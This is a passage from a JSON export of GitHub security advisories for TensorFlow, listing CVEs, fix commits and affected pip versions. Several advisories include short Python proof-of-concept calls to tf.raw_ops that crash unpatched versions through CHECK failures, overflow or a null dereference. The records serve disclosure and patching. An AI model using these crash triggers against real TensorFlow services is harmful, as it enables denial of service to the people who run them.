[552bfced6ce4809db5f3ca305f60ff80dd40c5a3](https://github.com/tensorflow/tensorflow/commit/552bfced6ce4809db5f3ca305f60ff80dd40c5a3).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by 刘力源, Information System \u0026 Security and Countermeasures Experiments Center, Beijing Institute of Technology.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T21:23:11.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-mv8m-8x97-937q","https://github.com/tensorflow/tensorflow/commit/552bfced6ce4809db5f3ca305f60ff80dd40c5a3","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-36004","https://github.com/advisories/GHSA-mv8m-8x97-937q"],"source_kind":"github","identifiers":["GHSA-mv8m-8x97-937q","CVE-2022-36004"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.294Z","updated_at":"2023-01-28T05:03:01.000Z","epss_percentage":0.0026,"epss_percentile":0.49221},{"uuid":"GSA_kwCzR0hTQS1yaDg3LXE0dmctbTQ1as4AAu2M","url":"https://github.com/advisories/GHSA-rh87-q4vg-m45j","title":"TensorFlow vulnerable to integer overflow in math ops","description":"### Impact\nWhen [`RangeSize`](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/ops/math_ops.cc) receives values that do not fit into an `int64_t`, it crashes.\n```cpp\n  auto size = (std::is_integral\u003cT\u003e::value\n                   ? ((Eigen::numext::abs(limit - start) +\n                       Eigen::numext::abs(delta) - T(1)) /\n                      Eigen::numext::abs(delta))\n                   : (Eigen::numext::ceil(\n                         Eigen::numext::abs((limit - start) / delta))));\n\n  // This check does not cover all cases.\n  if (size \u003e std::numeric_limits\u003cint64_t\u003e::max()) {\n    return errors::InvalidArgument(\"Requires ((limit - start) / delta) \u003c= \",\n                                   std::numeric_limits\u003cint64_t\u003e::max());\n  }\n\n  c-\u003eset_output(0, c-\u003eVector(static_cast\u003cint64_t\u003e(size)));\n  return Status::OK();\n}\n```\n\n### Patches\nWe have patched the issue in GitHub commit [37e64539cd29fcfb814c4451152a60f5d107b0f0](https://github.com/tensorflow/tensorflow/commit/37e64539cd29fcfb814c4451152a60f5d107b0f0).\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n","origin":"UNSPECIFIED","severity":"LOW","published_at":"2022-09-16T21:20:28.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-rh87-q4vg-m45j","https://github.com/tensorflow/tensorflow/commit/37e64539cd29fcfb814c4451152a60f5d107b0f0","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-36015","https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/ops/math_ops.cc","https://github.com/advisories/GHSA-rh87-q4vg-m45j"],"source_kind":"github","identifiers":["GHSA-rh87-q4vg-m45j","CVE-2022-36015"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.338Z","updated_at":"2023-01-28T05:02:54.000Z","epss_percentage":0.00264,"epss_percentile":0.49736},{"uuid":"GSA_kwCzR0hTQS05Y3IyLThwd3ItZmhmcc4AAu2H","url":"https://github.com/advisories/GHSA-9cr2-8pwr-fhfq","title":"TensorFlow vulnerable to `CHECK` fail in `QuantizeAndDequantizeV3`","description":"### Impact\nIf `QuantizeAndDequantizeV3` is given a nonscalar `num_bits` input tensor, it results in a `CHECK` fail that can be used to trigger a denial of service attack.\n```python\nimport tensorflow as tf\n\nsigned_input = True\nrange_given = False\nnarrow_range = False\naxis = -1\ninput = tf.constant(-3.5, shape=[1], dtype=tf.float32)\ninput_min = tf.constant(-3.5, shape=[1], dtype=tf.float32)\ninput_max = tf.constant(-3.5, shape=[1], dtype=tf.float32)\nnum_bits = tf.constant([], shape=[0], dtype=tf.int32)\ntf.raw_ops.QuantizeAndDequantizeV3(input=input, input_min=input_min, input_max=input_max, num_bits=num_bits, signed_input=signed_input, range_given=range_given, narrow_range=narrow_range, axis=axis)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [f3f9cb38ecfe5a8a703f2c4a8fead434ef291713](https://github.com/tensorflow/tensorflow/commit/f3f9cb38ecfe5a8a703f2c4a8fead434ef291713).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T21:15:36.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-9cr2-8pwr-fhfq","https://github.com/tensorflow/tensorflow/commit/f3f9cb38ecfe5a8a703f2c4a8fead434ef291713","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-36026","https://github.com/advisories/GHSA-9cr2-8pwr-fhfq"],"source_kind":"github","identifiers":["GHSA-9cr2-8pwr-fhfq","CVE-2022-36026"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.395Z","updated_at":"2023-01-28T05:03:00.000Z","epss_percentage":0.00215,"epss_percentile":0.44148},{"uuid":"GSA_kwCzR0hTQS1tNmN2LTRmbWYtNjZ4Zs4AAu2G","url":"https://github.com/advisories/GHSA-m6cv-4fmf-66xf","title":"TensorFlow vulnerable to `CHECK` fail in `RaggedTensorToVariant`","description":"### Impact\nIf `RaggedTensorToVariant` is given a `rt_nested_splits` list that contains tensors of ranks other than one, it results in a `CHECK` fail that can be used to trigger a denial of service attack.\n```python\nimport tensorflow as tf\n\nbatched_input = True\nrt_nested_splits = tf.constant([0,32,64], shape=[3], dtype=tf.int64)\nrt_dense_values = tf.constant([0,32,64], shape=[3], dtype=tf.int64)\ntf.raw_ops.RaggedTensorToVariant(rt_nested_splits=rt_nested_splits, rt_dense_values=rt_dense_values, batched_input=batched_input)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [88f93dfe691563baa4ae1e80ccde2d5c7a143821](https://github.com/tensorflow/tensorflow/commit/88f93dfe691563baa4ae1e80ccde2d5c7a143821).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T21:14:10.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-m6cv-4fmf-66xf","https://github.com/tensorflow/tensorflow/commit/88f93dfe691563baa4ae1e80ccde2d5c7a143821","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-36018","https://github.com/advisories/GHSA-m6cv-4fmf-66xf"],"source_kind":"github","identifiers":["GHSA-m6cv-4fmf-66xf","CVE-2022-36018"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.412Z","updated_at":"2023-01-30T05:02:43.000Z","epss_percentage":0.00215,"epss_percentile":0.44148},{"uuid":"GSA_kwCzR0hTQS1mNHc2LWg0ZjUtd3g0Nc4AAu13","url":"https://github.com/advisories/GHSA-f4w6-h4f5-wx45","title":"TensorFlow vulnerable to `CHECK` failure in tf.reshape via overflows","description":"### Impact\nThe implementation of tf.reshape op in TensorFlow is vulnerable to a denial of service via CHECK-failure (assertion failure) caused by overflowing the number of elements in a tensor:\n```python\nimport tensorflow as tf\n\ntf.reshape(tensor=[[1]],shape=tf.constant([0 for i in range(255)], dtype=tf.int64))\n```\nThis is another instance of [TFSA-2021-198](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/security/advisory/tfsa-2021-198.md) (https://github.com/advisories/GHSA-prcg-wp5q-rv7p).\n\n### Patches\nWe have patched the issue in GitHub commit [61f0f9b94df8c0411f0ad0ecc2fec2d3f3c33555](https://github.com/tensorflow/tensorflow/commit/61f0f9b94df8c0411f0ad0ecc2fec2d3f3c33555).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Kang Hong Jin from Singapore Management University.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T20:56:02.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-f4w6-h4f5-wx45","https://github.com/tensorflow/tensorflow/commit/61f0f9b94df8c0411f0ad0ecc2fec2d3f3c33555","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-35934","https://github.com/advisories/GHSA-f4w6-h4f5-wx45"],"source_kind":"github","identifiers":["GHSA-f4w6-h4f5-wx45","CVE-2022-35934"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.588Z","updated_at":"2023-01-30T05:02:52.000Z","epss_percentage":0.00105,"epss_percentile":0.29495},{"uuid":"GSA_kwCzR0hTQS1wN2hyLWY0NDYteDZxZs4AAu1u","url":"https://github.com/advisories/GHSA-p7hr-f446-x6qf","title":"TensorFlow vulnerable to `CHECK` fail in `tf.sparse.cross`","description":"### Impact\nIf `tf.sparse.cross` receives an input `separator` that is not a scalar, it gives a `CHECK` fail that can be used to trigger a denial of service attack.\n```python\nimport tensorflow as tf\n\ntf.sparse.cross(inputs=[],name='a',separator=tf.constant(['a', 'b'],dtype=tf.string))\n```\n\n### Patches\nWe have patched the issue in GitHub commit [83dcb4dbfa094e33db084e97c4d0531a559e0ebf](https://github.com/tensorflow/tensorflow/commit/83dcb4dbfa094e33db084e97c4d0531a559e0ebf).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Kang Hong Jin.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T19:25:36.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-p7hr-f446-x6qf","https://github.com/tensorflow/tensorflow/commit/83dcb4dbfa094e33db084e97c4d0531a559e0ebf","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-35997","https://github.com/advisories/GHSA-p7hr-f446-x6qf"],"source_kind":"github","identifiers":["GHSA-p7hr-f446-x6qf","CVE-2022-35997"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"},{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.713Z","updated_at":"2023-01-28T05:02:53.000Z","epss_percentage":0.00141,"epss_percentile":0.35005},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXc1Z2gtMndyMi1wbTZn","url":"https://github.com/advisories/GHSA-w5gh-2wr2-pm6g","title":"Denial of Service in Tensorflow","description":"### Impact\nChanging the TensorFlow's `SavedModel` protocol buffer and altering the name of required keys results in segfaults and data corruption while loading the model. This can cause a denial of service in products using `tensorflow-serving` or other inference-as-a-service installments.\n\nWe have added fixes to this in f760f88b4267d981e13f4b302c437ae800445968 and fcfef195637c6e365577829c4d67681695956e7d (both going into TensorFlow 2.2.0 and 2.3.0 but not yet backported to earlier versions). However, this was not enough, as #41097 reports a different failure mode.\n\n### Patches\nWe have patched the issue in adf095206f25471e864a8e63a0f1caef53a0e3a6 and will release patch releases for all versions between 1.15 and 2.3. Patch releases for versions between 1.15 and 2.1 will also contain cherry-picks of f760f88b4267d981e13f4b302c437ae800445968 and fcfef195637c6e365577829c4d67681695956e7d.\n\nWe recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Shuaike Dong, from Alipay Tian Qian Security Lab \u0026\u0026 Lab for Applied Security Research, CUHK.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2020-09-25T18:28:40.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-w5gh-2wr2-pm6g","https://github.com/tensorflow/tensorflow/commit/adf095206f25471e864a8e63a0f1caef53a0e3a6","https://github.com/tensorflow/tensorflow/commit/f760f88b4267d981e13f4b302c437ae800445968","https://github.com/tensorflow/tensorflow/commit/fcfef195637c6e365577829c4d67681695956e7d","https://github.com/tensorflow/tensorflow/releases/tag/v2.3.1","https://nvd.nist.gov/vuln/detail/CVE-2020-15206","http://lists.opensuse.org/opensuse-security-announce/2020-10/msg00065.html","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2020-286.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2020-321.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2020-129.yaml","https://github.com/advisories/GHSA-w5gh-2wr2-pm6g"],"source_kind":"github","identifiers":["GHSA-w5gh-2wr2-pm6g","CVE-2020-15206"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":34.56131941815548,"packages":[{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"},{"first_patched_version":"2.1.2","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.2"},{"first_patched_version":"2.0.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.3"},{"first_patched_version":"1.15.4","vulnerable_version_range":"\u003c 1.15.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"},{"first_patched_version":"2.1.2","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.2"},{"first_patched_version":"2.0.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.3"},{"first_patched_version":"1.15.4","vulnerable_version_range":"\u003c 1.15.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"},{"first_patched_version":"2.1.2","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.2"},{"first_patched_version":"2.0.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.3"},{"first_patched_version":"1.15.4","vulnerable_version_range":"\u003c 1.15.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:13.725Z","updated_at":"2024-10-28T14:54:49.000Z","epss_percentage":0.00472,"epss_percentile":0.63523},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWg2amgtN2d2NS0yOHZn","url":"https://github.com/advisories/GHSA-h6jh-7gv5-28vg","title":"Bad alloc in `StringNGrams` caused by integer conversion","description":"### Impact\nThe implementation of `tf.raw_ops.StringNGrams` is vulnerable to an integer overflow issue caused by converting a signed integer value to an unsigned one and then allocating memory based on this value.\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.StringNGrams(\n  data=['',''],\n  data_splits=[0,2],\n  separator=' '*100,\n  ngram_widths=[-80,0,0,-60],\n  left_pad=' ',\n  right_pad=' ',\n  pad_width=100,\n  preserve_short_sequences=False)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/string_ngrams_op.cc#L184) calls `reserve` on a `tstring` with a value that sometimes can be negative if user supplies negative `ngram_widths`. The `reserve` method calls `TF_TString_Reserve` which has an `unsigned long` argument for the size of the buffer. Hence, the implicit conversion transforms the negative value to a large integer.\n\n### Patches\nWe have patched the issue in GitHub commit [c283e542a3f422420cfdb332414543b62fc4e4a5](https://github.com/tensorflow/tensorflow/commit/c283e542a3f422420cfdb332414543b62fc4e4a5).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-08-25T14:43:34.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.8,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-h6jh-7gv5-28vg","https://nvd.nist.gov/vuln/detail/CVE-2021-37646","https://github.com/tensorflow/tensorflow/commit/c283e542a3f422420cfdb332414543b62fc4e4a5","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-559.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-757.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-268.yaml","https://github.com/advisories/GHSA-h6jh-7gv5-28vg"],"source_kind":"github","identifiers":["GHSA-h6jh-7gv5-28vg","CVE-2021-37646"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":33.100981977951726,"packages":[{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:49.950Z","updated_at":"2024-11-13T17:20:03.000Z","epss_percentage":0.00012,"epss_percentile":0.01077},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWh3cjctOGd4eC1majVw","url":"https://github.com/advisories/GHSA-hwr7-8gxx-fj5p","title":"Null pointer dereference in `RaggedTensorToTensor`","description":"### Impact\nSending invalid argument for `row_partition_types` of `tf.raw_ops.RaggedTensorToTensor` API results in a null pointer dereference and undefined behavior:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.RaggedTensorToTensor(\n  shape=1,\n  values=10,\n  default_value=21,\n  row_partition_tensors=tf.constant([0,0,0,0]),\n  row_partition_types=[])\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/47a06f40411a69c99f381495f490536972152ac0/tensorflow/core/kernels/ragged_tensor_to_tensor_op.cc#L328) accesses the first element of a user supplied list of values without validating that the provided list is not empty.\n\n### Patches\nWe have patched the issue in GitHub commit [301ae88b331d37a2a16159b65b255f4f9eb39314](https://github.com/tensorflow/tensorflow/commit/301ae88b331d37a2a16159b65b255f4f9eb39314).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-08-25T14:44:09.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-hwr7-8gxx-fj5p","https://nvd.nist.gov/vuln/detail/CVE-2021-37638","https://github.com/tensorflow/tensorflow/commit/301ae88b331d37a2a16159b65b255f4f9eb39314","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-551.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-749.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-260.yaml","https://github.com/advisories/GHSA-hwr7-8gxx-fj5p"],"source_kind":"github","identifiers":["GHSA-hwr7-8gxx-fj5p","CVE-2021-37638"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":34.0745402714209,"packages":[{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 